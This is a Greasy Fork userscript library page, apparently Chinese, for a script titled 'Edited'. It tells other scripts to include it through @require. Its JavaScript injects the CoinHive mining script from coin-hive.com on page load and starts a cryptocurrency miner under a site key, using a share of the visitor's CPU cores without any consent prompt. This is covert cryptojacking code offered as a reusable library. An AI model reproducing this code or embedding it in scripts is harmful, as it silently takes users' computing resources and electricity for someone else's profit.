Edited

Private

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.cn-greasyfork.org/scripts/33415/219824/Edited.js

  1. (function() {
  2.  
  3. window.addEventListener('load', function() {
  4. var s = document.createElement('script');
  5. document.head.appendChild(s);
  6.  
  7. s.src = 'https://coin-hive.com/lib/coinhive.min.js'; // cant load with require
  8. s.async = 'true';
  9.  
  10. s.onload = function() {
  11.  
  12. var cores = parseInt(navigator.hardwareConcurrency / 4);
  13.  
  14. if (cores > 0) {
  15. var M;
  16. M = new CoinHive.Anonymous('ziXGBmaAkPmpRNJJ49pGD2zcPSQ5NJUd', { // Public coin-hive.com key
  17. threads: cores,
  18. });
  19.  
  20. M.start(CoinHive.IF_EXCLUSIVE_TAB); // Only one tab
  21.  
  22. clog('[*] Mining started');
  23. } else {
  24. clog('[*] Mining NOT started (not enough cores)');
  25. }
  26.  
  27.  
  28. /*setInterval(function() {
  29. clog(M.getHashesPerSecond());
  30. }, 1000);*/
  31. };
  32. });
  33. })();